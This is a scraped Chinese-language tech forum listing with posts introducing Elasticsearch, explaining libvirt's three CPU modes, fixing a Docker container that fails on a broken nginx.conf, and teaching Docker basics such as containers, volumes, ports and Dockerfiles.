kvm网络桥接,宿主机网络变化,怎么动态修改宿主机里面的ip地址?

回复

OpenSkill 回复了问题 • 1 人关注 • 2 个回复 • 1267 次浏览 • 2015-07-09 14:34 • 来自相关话题

Elasticsearch介绍

OpenSkill 发表了文章 • 0 个评论 • 754 次浏览 • 2015-07-08 22:27 • 来自相关话题

Elasticsearch是一个基于Apache Lucene(TM)的开源搜索引擎。无论在开源还是专有领域,Lucene可以被认为是迄今为止最先进、性能最好的、功能最全的搜索引擎库。
 
但是,Lucene只是一个库。想要使用它,你必须使用Java来作为开发语言并将其直接集成到你的应用中,更糟糕的是,Lucene非常复杂,你需要深入了解检索的相关知识来理解它是如何工作的。
 
Elasticsearch也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能,但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性,从而让全文搜索变得简单。
 
不过,Elasticsearch不仅仅是Lucene和全文搜索,我们还能这样去描述它:
[]分布式的实时文件存储,每个字段都被索引并可被搜索[/][]分布式的实时分析搜索引擎[/][]可以扩展到上百台服务器,处理PB级结构化或非结构化数据[/]
而且,所有的这些功能被集成到一个服务里面,你的应用可以通过简单的RESTful API、各种语言的客户端甚至命令行与之交互。
 
上手Elasticsearch非常容易。它提供了许多合理的缺省值,并对初学者隐藏了复杂的搜索引擎理论。安装即可使用,只需很少的学习既可在生产环境中使用。
 
Elasticsearch在Apache 2 license下许可使用,可以免费下载、使用和修改。
 
随着你对Elasticsearch的理解加深,你可以根据不同的问题领域定制Elasticsearch的高级特性,这一切都是可配置的,并且配置非常灵活。
 
ES诞生模糊记忆:
多年前,一个叫做Shay Banon的刚结婚不久的失业开发者,由于妻子要去伦敦学习厨师,他便跟着也去了。在他找工作的过程中,为了给妻子构建一个食谱的搜索引擎,他开始构建一个早期版本的Lucene。

直接基于Lucene工作会比较困难,所以Shay开始抽象Lucene代码以便Java程序员可以在应用中添加搜索功能。他发布了他的第一个开源项目,叫做“Compass”。

后来Shay找到一份工作,这份工作处在高性能和内存数据网格的分布式环境中,因此高性能的、实时的、分布式的搜索引擎也是理所当然需要的。然后他决定重写Compass库使其成为一个独立的服务叫做Elasticsearch。

第一个公开版本出现在2010年2月,在那之后Elasticsearch已经成为Github上最受欢迎的项目之一,代码贡献者超过300人。一家主营Elasticsearch的公司就此成立,他们一边提供商业支持一边开发新功能,不过Elasticsearch将永远开源且对所有人可用。

Shay的妻子依旧等待着她的食谱搜索…… 查看全部
es.png

Elasticsearch是一个基于Apache Lucene(TM)的开源搜索引擎。无论在开源还是专有领域,Lucene可以被认为是迄今为止最先进、性能最好的、功能最全的搜索引擎库。
 
但是,Lucene只是一个库。想要使用它,你必须使用Java来作为开发语言并将其直接集成到你的应用中,更糟糕的是,Lucene非常复杂,你需要深入了解检索的相关知识来理解它是如何工作的。
 
Elasticsearch也使用Java开发并使用Lucene作为其核心来实现所有索引和搜索的功能,但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性,从而让全文搜索变得简单。
 
不过,Elasticsearch不仅仅是Lucene和全文搜索,我们还能这样去描述它:
    []分布式的实时文件存储,每个字段都被索引并可被搜索[/][]分布式的实时分析搜索引擎[/][]可以扩展到上百台服务器,处理PB级结构化或非结构化数据[/]

而且,所有的这些功能被集成到一个服务里面,你的应用可以通过简单的RESTful API、各种语言的客户端甚至命令行与之交互。
 
上手Elasticsearch非常容易。它提供了许多合理的缺省值,并对初学者隐藏了复杂的搜索引擎理论。安装即可使用,只需很少的学习既可在生产环境中使用。
 
Elasticsearch在Apache 2 license下许可使用,可以免费下载、使用和修改。
 
随着你对Elasticsearch的理解加深,你可以根据不同的问题领域定制Elasticsearch的高级特性,这一切都是可配置的,并且配置非常灵活。
 
ES诞生模糊记忆:
多年前,一个叫做Shay Banon的刚结婚不久的失业开发者,由于妻子要去伦敦学习厨师,他便跟着也去了。在他找工作的过程中,为了给妻子构建一个食谱的搜索引擎,他开始构建一个早期版本的Lucene。

直接基于Lucene工作会比较困难,所以Shay开始抽象Lucene代码以便Java程序员可以在应用中添加搜索功能。他发布了他的第一个开源项目,叫做“Compass”。

后来Shay找到一份工作,这份工作处在高性能和内存数据网格的分布式环境中,因此高性能的、实时的、分布式的搜索引擎也是理所当然需要的。然后他决定重写Compass库使其成为一个独立的服务叫做Elasticsearch。

第一个公开版本出现在2010年2月,在那之后Elasticsearch已经成为Github上最受欢迎的项目之一,代码贡献者超过300人。一家主营Elasticsearch的公司就此成立,他们一边提供商业支持一边开发新功能,不过Elasticsearch将永远开源且对所有人可用。

Shay的妻子依旧等待着她的食谱搜索……

Libvirt的三种CPU配置模式

Ansible 发表了文章 • 0 个评论 • 879 次浏览 • 2015-07-07 23:22 • 来自相关话题

CPU配置模式可以有以下几种模式:​
(1)custom模式<cpu mode='custom' match='exact'>
<modelfallback='allow'>kvm64</model>
...
<featurepolicy='require' name='monitor'/>
</cpu>
 (2)host-model 模式
根据物理CPU的特性,选择一个最靠近的标准CPU型号,如果没有指定CPU模式,默认也是使用这种模式,xml配置文件为:<cpu mode='host-model' />
 (3)host-passthrough 模式
直接将物理CPU 暴露给虚拟机使用,在虚拟机上完全可以看到的就是物理CPU的型号,xml配置文件为:<cpu mode='host-passthrough'/>使用host-model看到的VCPU:processor : 3
vendor_id : GenuineIntel
cpu family : 6
model : 44
model name : WestmereE56xx/L56xx/X56xx (Nehalem-C)
...使用host-passthrough看到的VCPU:processor : 3
vendor_id : GenuineIntel
cpu family : 6
model : 44
model name : Intel(R)Xeon(R) CPU X5650 @ 2.67GHz可以看到,使用host-model模式,Libvir会根据物理CPU的型号,从规定的CPU中选择一种最接近的CPU型号,而使用host-passthrough模式直接看到的就物理CPU的型号。
原文地址 查看全部
kkk.jpg

CPU配置模式可以有以下几种模式:​
1)custom模式
<cpu mode='custom' match='exact'>
<modelfallback='allow'>kvm64</model>
...
<featurepolicy='require' name='monitor'/>
</cpu>

 (2)host-model 模式
根据物理CPU的特性,选择一个最靠近的标准CPU型号,如果没有指定CPU模式,默认也是使用这种模式,xml配置文件为:
<cpu mode='host-model' />

 (3)host-passthrough 模式
直接将物理CPU 暴露给虚拟机使用,在虚拟机上完全可以看到的就是物理CPU的型号,xml配置文件为:
<cpu mode='host-passthrough'/>
使用host-model看到的VCPU:
processor       : 3
vendor_id : GenuineIntel
cpu family : 6
model : 44
model name : WestmereE56xx/L56xx/X56xx (Nehalem-C)
...
使用host-passthrough看到的VCPU:
processor       : 3
vendor_id : GenuineIntel
cpu family : 6
model : 44
model name : Intel(R)Xeon(R) CPU X5650 @ 2.67GHz
可以看到,使用host-model模式,Libvir会根据物理CPU的型号,从规定的CPU中选择一种最接近的CPU型号,而使用host-passthrough模式直接看到的就物理CPU的型号。
原文地址

在容器内部无法运行内部进程

Ansible 回复了问题 • 1 人关注 • 1 个回复 • 895 次浏览 • 2015-07-02 22:18 • 来自相关话题

启动hadoop时,log中出现:java.io.IOException: NameNode is not formatted.

OpenSkill 回复了问题 • 2 人关注 • 1 个回复 • 1456 次浏览 • 2015-06-29 01:36 • 来自相关话题

为什么“hbase.zookeeper.quorum”必须配奇数个数的DataNode

采菊篱下 回复了问题 • 3 人关注 • 1 个回复 • 1843 次浏览 • 2015-06-29 00:48 • 来自相关话题

docker容器故障致无法启动解决实例

小白菜 发表了文章 • 0 个评论 • 1034 次浏览 • 2015-06-24 16:48 • 来自相关话题

内网断电后,有一台机器没有如往常一样起来,该服务器是docke上的一个容器,然后登录docker宿主机,开始问题分析及解决: 一、寻找问题
1、启动iframe-test机器
root@ubuntu:~#docker start iframe-test
iframe-test
2、发现没有容器进程
root@ubuntu:~#docker ps |grep iframe-test
3、查看日志,发现是nginx配置有问题,导致中断。
root@ubuntu:~# docker logs iframe-test

Startingnginx: Starting periodic command scheduler: cron.
nginx:[emerg] unexpected end of file, expecting ";" or "}" in/etc/nginx/nginx.conf:21
nginx:configuration file /etc/nginx/nginx.conf test failed二、思考解决方法
问题原因找到,就是nginx文件检测不通过,导致中断。
解决思路暂有两个:
方法一:把这个问题容器用docker commit提交到一个新的镜像,然后用docker run -i -d基于新镜像运行一个临时终端进去改变配置文件,然后把临时终端的id提交到一个新的镜像,然后在基于新的镜像重新启动容器。(这个方法步骤多,而且提交了新的镜像,对于后续维护增加了复杂性)
方法二:直接改变容器里的配置文件,不需要新提交镜像。三、修改宕机容器配置
所有的容器数据都存在/var/lib/docker/aufs/diff/路径下。下面容器ID目录,以init结尾的是放配置文件的,有/etc/host、reselv.conf,/dev等。另一个是放的文件目录,比如/home,/var/及自己安装的服务等等,aufs需要内核3.10以上的支持。1、查看容器id
root@ubuntu:~#docker ps -a|grep iframe-test
fa02f8084b63 debian06-base:latest 2、查找nginx.conf配置文件路径
root@ubuntu:~#find / -name 'nginx.conf'
/root/nginx.conf
/var/lib/docker/aufs/diff/7c7b3438586e0653cdca7977a4f889cfdca300f008771462f8a2e6e9d3bc5b84/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/6bc6a9a5aeb59e19cae8bb78daa481cc465051069c7854528cbfdb3c9c1f2bfb/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/c7b6b87cfda72701229eebca868eb047aa01c255b62e56ad223dc75396c584e4/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456/etc/nginx/nginx.conf3、进入对应容器id的目录,修改问题文件
root@ubuntu:cd /var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456
执行ls命令,容器的根目录展现在面前,是不是很熟悉?
root@ubuntu:/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456#ls
etc root run srv tmp usr var
接下来找到这个容器里面nginx.conf的语法错误处修改。4、修改后启动容器
root@ubuntu:~# docker start iframe-test

root@ubuntu:~# docker ps |grep iframe-test
fa02f8084b63 debian06-base:latest "/etc/rc.local" 6 weeks ago Up 13 minutes 10.18.103.2:22->22/tcp,10.18.103.2:80->80/tcp, 10.18.103.2:443->443/tcp,10.18.103.2:3306->3306/tcp, 10.18.103.2:6379->6379/tcp,10.18.103.2:6381->6381/tcp, 10.18.103.2:8000->8000/tcp,10.18.103.2:8888->8888/tcp  iframe-test 容器启动成功,问题解决。 查看全部
内网断电后,有一台机器没有如往常一样起来,该服务器是docke上的一个容器,然后登录docker宿主机,开始问题分析及解决:
 
一、寻找问题
1、启动iframe-test机器
root@ubuntu:~#docker start iframe-test
iframe-test
2、发现没有容器进程
root@ubuntu:~#docker ps |grep iframe-test
3、查看日志,发现是nginx配置有问题,导致中断。
root@ubuntu:~# docker logs iframe-test

Startingnginx: Starting periodic command scheduler: cron.
nginx:[emerg] unexpected end of file, expecting ";" or "}" in/etc/nginx/nginx.conf:21
nginx:configuration file /etc/nginx/nginx.conf test failed
二、思考解决方法
问题原因找到,就是nginx文件检测不通过,导致中断。
解决思路暂有两个:
方法一:把这个问题容器用docker commit提交到一个新的镜像,然后用docker run -i -d基于新镜像运行一个临时终端进去改变配置文件,然后把临时终端的id提交到一个新的镜像,然后在基于新的镜像重新启动容器。(这个方法步骤多,而且提交了新的镜像,对于后续维护增加了复杂性)
方法二:直接改变容器里的配置文件,不需要新提交镜像。
三、修改宕机容器配置
所有的容器数据都存在/var/lib/docker/aufs/diff/路径下。下面容器ID目录,以init结尾的是放配置文件的,有/etc/host、reselv.conf,/dev等。另一个是放的文件目录,比如/home,/var/及自己安装的服务等等,aufs需要内核3.10以上的支持。
1、查看容器id
root@ubuntu:~#docker ps -a|grep iframe-test
fa02f8084b63 debian06-base:latest
2、查找nginx.conf配置文件路径
root@ubuntu:~#find / -name 'nginx.conf'
/root/nginx.conf
/var/lib/docker/aufs/diff/7c7b3438586e0653cdca7977a4f889cfdca300f008771462f8a2e6e9d3bc5b84/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/6bc6a9a5aeb59e19cae8bb78daa481cc465051069c7854528cbfdb3c9c1f2bfb/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/c7b6b87cfda72701229eebca868eb047aa01c255b62e56ad223dc75396c584e4/etc/nginx/nginx.conf
/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456/etc/nginx/nginx.conf
3、进入对应容器id的目录,修改问题文件
root@ubuntu:cd /var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456
执行ls命令,容器的根目录展现在面前,是不是很熟悉?
root@ubuntu:/var/lib/docker/aufs/diff/fa02f8084b631c371c6c050e5f0315017d327f84746b064246803a6a90a39456#ls
etc root run srv tmp usr var
接下来找到这个容器里面nginx.conf的语法错误处修改。
4、修改后启动容器
root@ubuntu:~# docker start iframe-test

root@ubuntu:~# docker ps |grep iframe-test
fa02f8084b63 debian06-base:latest "/etc/rc.local" 6 weeks ago Up 13 minutes 10.18.103.2:22->22/tcp,10.18.103.2:80->80/tcp, 10.18.103.2:443->443/tcp,10.18.103.2:3306->3306/tcp, 10.18.103.2:6379->6379/tcp,10.18.103.2:6381->6381/tcp, 10.18.103.2:8000->8000/tcp,10.18.103.2:8888->8888/tcp  
iframe-test 
容器启动成功,问题解决。

Bringing up interface eth0: Device eth0 does not seem to be present, delaying initialization.

Ansible 回复了问题 • 2 人关注 • 1 个回复 • 1178 次浏览 • 2015-06-23 15:32 • 来自相关话题

Docker入门学习

Ansible 发表了文章 • 2 个评论 • 1155 次浏览 • 2015-06-23 02:05 • 来自相关话题

Docker是什么

Docker是一种容器技术,它可以将应用和环境等进行打包,形成一个独立的,类似于iOS的APP形式的“应用”,这个应用可以直接被分发到任意一个支持Docker的环境中,通过简单的命令即可启动运行。Docker是一种最流行的容器化实现方案。和虚拟化技术类似,它极大的方便了应用服务的部署;又与虚拟化技术不同,它以一种更轻量的方式实现了应用服务的打包。使用Docker可以让每个应用彼此相互隔离,在同一台机器上同时运行多个应用,不过他们彼此之间共享同一个操作系统。Docker的优势在于,它可以在更细的粒度上进行资源的管理,也比虚拟化技术更加节约资源。





上图:虚拟化和Docker架构对比,来自Docker官网
 
基本概念
开始试验Docker之前,我们先来了解一下Docker的几个基本概念:

镜像:我们可以理解为一个预配置的系统光盘,这个光盘插入电脑后就可以启动一个操作系统。当然由于是光盘,所以你无法修改它或者保存数据,每次重启都是一个原样全新的系统。Docker里面镜像基本上和这个差不多。

容器:同样一个镜像,我们可以同时启动运行多个,运行期间的产生的这个实例就是容器。把容器内的操作和启动它的镜像进行合并,就可以产生一个新的镜像。
 
开始
Docker基于LXC技术实现,依赖于Linux内核,所以Docker目前只能在Linux以原生方式运行。目前主要的Linux发行版在他们的软件仓库中内置了Docker:

Ubuntu:
[]Ubuntu Trusty 14.04 (LTS)[/][]Ubuntu Precise 12.04 (LTS)[/][]Ubuntu Saucy 13.10[/]

CentOS:
[] CentOS 7[/]

Docker要求64位环境,这些操作系统下可以直接通过命令安装Docker,老一些操作系统Docker官方也提供了安装方案。下面的实验基于CentOS 7进行。关于其他版本操作系统上Docker的安装,请参考官方文档:https://docs.docker.com/installation/
 
在CentOS 7上安装Docker
使用yum从软件仓库安装Docker:yum install docker 首先启动Docker的守护进程:service docker start 如果想要Docker在系统启动时运行,执行:chkconfig docker on Docker在CentOS上好像和防火墙有冲突,应用防火墙规则后可能导致Docker无法联网,重启Docker可以解决。

Docker仓库
Docker使用类似git的方式管理镜像。通过基本的镜像可以定制创建出来不同种应用的Docker镜像。Docker Hub是Docker官方提供的镜像中心。在这里可以很方便地找到各类应用、环境的镜像。

由于Docker使用联合文件系统,所以镜像就像是夹心饼干一样一层层构成,相同底层的镜像可以共享。所以Docker还是相当节约磁盘空间的。要使用一 个镜像,需要先从远程的镜像注册中心拉取,这点非常类似git。docker pull ubuntu 我们很容易就能从Docker Hub镜像注册中心下载一个最新版本的ubuntu镜像到本地。国内网络可能会稍慢,DAOCLOUD提供了Docker Hub的国内加速服务,可以尝试配置使用。
 
运行一个容器
使用Docker最关键的一步就是从镜像创建容器。有两种方式可以创建一个容器:使用docker create命令创建容器,或者使用docker run命令运行一个新容器。两个命令并没有太大差别,只是前者创建后并不会立即启动容器。

以ubuntu为例,我们启动一个新容器,并将ubuntu的Shell作为入口:docker run -i -t ubuntu /bin/bash
这时候我们成功创建了一个Ubuntu的容器,并将当前终端连接为这个Ubuntu的bash shell。这时候就可以愉快地使用Ubuntu的相关命令了~可以快速体验一下。

参数-i表示这是一个交互容器,会把当前标准输入重定向到容器的标准输入中,而不是终止程序运行。-t指为这个容器分配一个终端。

好了,按Ctrl+D可以退出这个容器了。

在容器运行期间,我们可以通过docker ps命令看到所有当前正在运行的容器。添加-a参数可以看到所有创建的容器:docker ps -a [root@localhost ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cb2b06c83a50 ubuntu:latest "sh -c /bin/bash" 7 minutes ago Exited (0) 7 seconds ago trusting_morse
每个容器都有一个唯一的ID标识,通过ID可以对这个容器进行管理和操作。在创建容器时,我们可以通过–name参数指定一个容器名称,如果没有指定系统将会分配一个,就像这里的“trusting_morse”(什么鬼TAT)。

当我们按Ctrl+D退出容器时,命令执行完了,所以容器也就退出了。要重新启动这个容器,可以使用docker start命令:docker start -i trusting_morse 同样,-i参数表示需要交互式支持。

注意:每次执行docker run命令都会创建新的容器,建议一次创建后,使用docker start/stop来启动和停用容器。
 
存储
在Docker容器运行期间,对文件系统的所有修改都会以增量的方式反映在容器使用的联合文件系统中,并不是真正的对只读层数据信息修改。每次运行容器对它的修改,都可以理解成对夹心饼干又添加了一层奶油。这层奶油仅供当前容器使用。当删除Docker容器,或通过该镜像重新启动时,之前的更改将会丢失。这样做并不便于我们持久化和共享数据。Docker的数据卷这个东西可以帮到我们。
在创建容器时,通过-v参数可以指定将容器内的某个目录作为数据卷加载:docker run -i -t -v /home/www ubuntu:latest sh -c '/bin/bash' 在容器中会多一个/home/www挂载点,在这个挂载点存储数据会绕过联合文件系统。我们可以通过下面的命令来找到这个数据卷在主机上真正的存储位置:docker inspect -f {{.Volumes}} trusting_morse 你会看到输出了一个指向到/var/lib/docker/vfs/dir/...的目录。cd进入后你会发现在容器中对/home/www的读写创建,都会反映到这儿。事实上,/home/www就是挂载自这个位置。

有时候,我们需要将本地的文件目录挂载到容器内的位置,同样是使用数据卷这一个特性,-v参数格式为:docker run -it -v [host_dir]:[container_dir]

host_dir是主机的目录,container_dir是容器的目录.

 
容器和容器之间是可以共享数据卷的,我们可以单独创建一些容器,存放如数据库持久化存储、配置文件一类的东西,然而这些容器并不需要运行。docker run --name dbdata ubuntu echo "Data container."在需要使用这个数据容器的容器创建时–volumes-from [容器名]的方式来使用这个数据共享容器。
 
网络

Docker容器内的系统工作起来就像是一个虚拟机,容器内开放的端口并不会真正开放在主机上。可以使我们的容器更加安全,而且不会产生容器间端口的争用。想要将Docker容器的端口开放到主机上,可以使用类似端口映射的方式。

在Docker容器创建时,通过指定-p参数可以暴露容器的端口在主机上:docker run -it -p 22 ubuntu sh -c '/bin/bash' 现在我们就将容器的22端口开放在了主机上,注意主机上对应端口是自动分配的。如果想要指定某个端口,可以通过-p [主机端口]:[容器端口]参数指定。

容器和容器之间想要网络通讯,可以直接使用–link参数将两个容器连接起来。例如WordPress容器对some-mysql的连接:docker run --name some-wordpress --link some-mysql:mysql -p 8080:80 -d wordpress 环境变量

通过Docker打包的应用,对外就像是一个密闭的exe可执行文件。有时候我们希望Docker能够使用一些外部的参数来使用容器,这时候参数可以通过环境变量传递进去,通常情况下用来传递比如MySQL数据库连接这种的东西。环境变量通过-e参数向容器传递:docker run --name some-wordpress -e WORDPRESS_DB_HOST=10.1.2.3:3306 \
-e WORDPRESS_DB_USER=... -e WORDPRESS_DB_PASSWORD=... -d wordpress
关于Docker到现在就有了一个基本的认识了。接下来我会给大家介绍如何创建镜像。
 
创建镜像
Docker强大的威力在于可以把自己开发的应用随同各种依赖环境一起打包、分发、运行。要创建一个新的Docker镜像,通常基于一个已有的Docker镜像来创建。Docker提供了两种方式来创建镜像:把容器创建为一个新的镜像、使用Dockerfile创建镜像。
 
将容器创建为镜像
为了创建一个新的镜像,我们先创建一个新的容器作为基底:docker run -it ubuntu:latest sh -c '/bin/bash' 现在我们可以对这个容器进行修改了,例如我们可以配置PHP环境、将我们的项目代码部署在里面等:apt-get install php
# some other opreations ...当执行完操作之后,我们按Ctrl+D退出容器,接下来使用docker ps -a来查找我们刚刚创建的容器ID:docker ps -a 可以看到我们最后操作的那个ubuntu容器。这时候只需要使用docker commit即可把这个容器变为一个镜像了:docker commit 8d93082a9ce1 ubuntu:myubuntu这时候docker容器会被创建为一个新的Ubuntu镜像,版本名称为myubuntu。以后我们可以随时使用这个镜像来创建容器了,新的容器将自动包含上面对容器的操作。
 
如果我们要在另外一台机器上使用这个镜像,可以将一个镜像导出:docker save -o myubuntu.tar.gz ubuntu:myubuntu 现在我们可以把刚才创建的镜像打包为一个文件分发和迁移了。要在一台机器上导入镜像,只需要:docker import myubuntu.tar.gz这样在新机器上就拥有了这个镜像。
 
注意:通过导入导出的方式分发镜像并不是Docker的最佳实践,因为我们有Docker Hub。
 
Docker Hub提供了类似GitHub的镜像存管服务。一个镜像发布到Docker Hub不仅可以供更多人使用,而且便于镜像的版本管理。关于Docker Hub的使用,之后我会单独写一篇文章展开介绍。另外,在一个企业内部可以通过自建docker-registry的方式来统一管理和发布镜像。将Docker Registry集成到版本管理和上线发布的工作流之中,还有许多工作要做,在我整理出最佳实践后会第一时间分享。
 
使用Dockerfile创建镜像

使用命令行的方式创建Docker镜像通常难以自动化操作。在更多的时候,我们使用Dockerfile来创建Docker镜像。Dockerfile是一个纯文本文件,它记载了从一个镜像创建另一个新镜像的步骤。撰写好Dockerfile文件之后,我们就可以轻而易举的使用docker build命令来创建镜像了.
 
Dockerfile非常简单,仅有以下命令在Dockerfile中常被使用:





下面是一个Dockerfile的例子:# This is a comment
FROM ubuntu:14.04
MAINTAINER Kate Smith <ksmith@example.com>
RUN apt-get update &amp;&amp; apt-get install -y ruby ruby-dev
RUN gem install sinatra 这里其他命令都比较好理解,唯独CMD和ENTRYPOINT我需要特殊说明一下。CMD命令可用指定Docker容器启动时默认的命令,例如我们上面例子提到的docker run -it ubuntu:latest sh -c '/bin/bash'。其中sh -c '/bin/bash'就是通过手工指定传入的CMD。如果我们不加这个参数,那么容器将会默认使用CMD指定的命令启动。ENTRYPOINT是什么呢?从字面看是进入点。没错,它就是进入点。ENTRYPOINT用来指定特定的可执行文件、Shell脚本,并把启动参数或CMD指定的默认值,当作附加参数传递给ENTRYPOINT。

不好理解是吧?我们举一个例子:ENTRYPOINT ['/usr/bin/mysql']
CMD ['-h 192.168.100.128', '-p'] 假设这个镜像内已经准备好了mysql-client,那么通过这个镜像,不加任何额外参数启动容器,将会给我们一个mysql的控制台,默认连接到192.168.100.128这个主机。然而我们也可以通过指定参数,来连接别的主机。但是不管无论如何,我们都无法启动一个除了mysql客户端以外的程序。因为这个容器的ENTRYPOINT就限定了我们只能在mysql这个客户端内做事情。这下是不是明白了~

因此,我们在使用Dockerfile创建文件的时候,可以创建一个entrypoint.sh脚本,作为系统入口。在这个文件里面,我们可以进行一些基础性的自举操作,比如检查环境变量,根据需要初始化数据库等等。下面两个文件是我在SimpleOA项目中添加的Dockerfile和entrypoint.sh,仅供参考:
[]https://github.com/starlight36/SimpleOA/blob/master/Dockerfile[/][]https://github.com/starlight36/SimpleOA/blob/master/docker-entrypoint.sh[/]
在准备好Dockerfile之后,我们就可以创建镜像了:docker build -t starlight36/simpleoa .关于Dockerfile的更详细说明,请参考 https://docs.docker.com/reference/builder/。
 
杂项和最佳实践

在产品构建的生命周期里使用Docker,最佳实践是把Docker集成到现有的构建发布流程里面。这个过程并不复杂,可以在持续集成系统构建测试完成后,将打包的步骤改为docker build,持续集成服务将会自动将构建相应的Docker镜像。打包完成后,可以由持续集成系统自动将镜像推送到Docker Registry中。生产服务器可以直接Pull最新版本的镜像,更新容器即可很快地实现更新上线。目前Atlassian Bamboo已经支持Docker的构建了。

由于Docker使用联合文件系统,所以并不用担心多次发布的版本会占用更多的磁盘资源,相同的镜像只存储一份。所以最佳实践是在不同层次上构建Docker镜像。比如应用服务器依赖于PHP+Nginx环境,那么可以把定制好的这个PHP环境作为一个镜像,应用服务器从这个镜像构建镜像。这样做的好处是,如果PHP环境要升级,更新了这个镜像后,重新构建应用镜像即可完成升级,而不需要每个应用项目分别升级PHP环境。

新手经常会有疑问的是关于Docker打包的粒度,比如MySQL要不要放在镜像中?最佳实践是根据应用的规模和可预见的扩展性来确定Docker打包的粒度。例如某小型项目管理系统使用LAMP环境,由于团队规模和使用人数并不会有太大的变化(可预计的团队规模范围是几人到几千人),数据库也不会承受无法承载的记录数(生命周期内可能一个表最多会有数十万条记录),并且客户最关心的是快速部署使用。那么这时候把MySQL作为依赖放在镜像里是一种不错的选择。当然如果你在为一个互联网产品打包,那最好就是把MySQL独立出来,因为MySQL很可能会单独做优化做集群等。

使用公有云构建发布运行Docker也是个不错的选择。DaoCloud提供了从构建到发布到运行的全生命周期服务。特别适合像微擎这种微信公众平台、或者中小型企业CRM系统。上线周期更短,比使用IAAS、PAAS的云服务更具有优势。
 
参考资料:
[]深入理解Docker Volume http://dockone.io/article/128[/][]WordPress https://registry.hub.docker.com/_/wordpress/[/][]Docker学习——镜像导出 http://www.sxt.cn/u/756/blog/5339[/][]Dockerfile Reference https://docs.docker.com/reference/builder/[/][]关于Dockerfile http://blog.tankywoo.com/docker/2014/05/08/docker-2-dockerfile.html[/]
原文链接 查看全部
Docker是什么

Docker是一种容器技术,它可以将应用和环境等进行打包,形成一个独立的,类似于iOS的APP形式的“应用”,这个应用可以直接被分发到任意一个支持Docker的环境中,通过简单的命令即可启动运行。Docker是一种最流行的容器化实现方案。和虚拟化技术类似,它极大的方便了应用服务的部署;又与虚拟化技术不同,它以一种更轻量的方式实现了应用服务的打包。使用Docker可以让每个应用彼此相互隔离,在同一台机器上同时运行多个应用,不过他们彼此之间共享同一个操作系统。Docker的优势在于,它可以在更细的粒度上进行资源的管理,也比虚拟化技术更加节约资源。

d1.png

上图:虚拟化和Docker架构对比,来自Docker官网
 
基本概念
开始试验Docker之前,我们先来了解一下Docker的几个基本概念:

镜像:我们可以理解为一个预配置的系统光盘,这个光盘插入电脑后就可以启动一个操作系统。当然由于是光盘,所以你无法修改它或者保存数据,每次重启都是一个原样全新的系统。Docker里面镜像基本上和这个差不多。

容器:同样一个镜像,我们可以同时启动运行多个,运行期间的产生的这个实例就是容器。把容器内的操作和启动它的镜像进行合并,就可以产生一个新的镜像。
 
开始
Docker基于LXC技术实现,依赖于Linux内核,所以Docker目前只能在Linux以原生方式运行。目前主要的Linux发行版在他们的软件仓库中内置了Docker:

Ubuntu:
    []Ubuntu Trusty 14.04 (LTS)[/][]Ubuntu Precise 12.04 (LTS)[/][]Ubuntu Saucy 13.10[/]


CentOS:
    [] CentOS 7[/]


Docker要求64位环境,这些操作系统下可以直接通过命令安装Docker,老一些操作系统Docker官方也提供了安装方案。下面的实验基于CentOS 7进行。关于其他版本操作系统上Docker的安装,请参考官方文档:https://docs.docker.com/installation/
 
在CentOS 7上安装Docker
使用yum从软件仓库安装Docker:
yum install docker 
首先启动Docker的守护进程:
service docker start 
如果想要Docker在系统启动时运行,执行:
chkconfig docker on 
Docker在CentOS上好像和防火墙有冲突,应用防火墙规则后可能导致Docker无法联网,重启Docker可以解决。

Docker仓库
Docker使用类似git的方式管理镜像。通过基本的镜像可以定制创建出来不同种应用的Docker镜像。Docker Hub是Docker官方提供的镜像中心。在这里可以很方便地找到各类应用、环境的镜像。

由于Docker使用联合文件系统,所以镜像就像是夹心饼干一样一层层构成,相同底层的镜像可以共享。所以Docker还是相当节约磁盘空间的。要使用一 个镜像,需要先从远程的镜像注册中心拉取,这点非常类似git。
docker pull ubuntu 
我们很容易就能从Docker Hub镜像注册中心下载一个最新版本的ubuntu镜像到本地。国内网络可能会稍慢,DAOCLOUD提供了Docker Hub的国内加速服务,可以尝试配置使用。
 
运行一个容器
使用Docker最关键的一步就是从镜像创建容器。有两种方式可以创建一个容器:使用docker create命令创建容器,或者使用docker run命令运行一个新容器。两个命令并没有太大差别,只是前者创建后并不会立即启动容器。

以ubuntu为例,我们启动一个新容器,并将ubuntu的Shell作为入口:
docker run -i -t ubuntu /bin/bash
这时候我们成功创建了一个Ubuntu的容器,并将当前终端连接为这个Ubuntu的bash shell。这时候就可以愉快地使用Ubuntu的相关命令了~可以快速体验一下。

参数-i表示这是一个交互容器,会把当前标准输入重定向到容器的标准输入中,而不是终止程序运行。-t指为这个容器分配一个终端。

好了,按Ctrl+D可以退出这个容器了。

在容器运行期间,我们可以通过docker ps命令看到所有当前正在运行的容器。添加-a参数可以看到所有创建的容器:
docker ps -a 
[root@localhost ~]# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cb2b06c83a50 ubuntu:latest "sh -c /bin/bash" 7 minutes ago Exited (0) 7 seconds ago trusting_morse
每个容器都有一个唯一的ID标识,通过ID可以对这个容器进行管理和操作。在创建容器时,我们可以通过–name参数指定一个容器名称,如果没有指定系统将会分配一个,就像这里的“trusting_morse”(什么鬼TAT)。

当我们按Ctrl+D退出容器时,命令执行完了,所以容器也就退出了。要重新启动这个容器,可以使用docker start命令:
docker start -i trusting_morse 
同样,-i参数表示需要交互式支持。

注意:每次执行docker run命令都会创建新的容器,建议一次创建后,使用docker start/stop来启动和停用容器。
 
存储
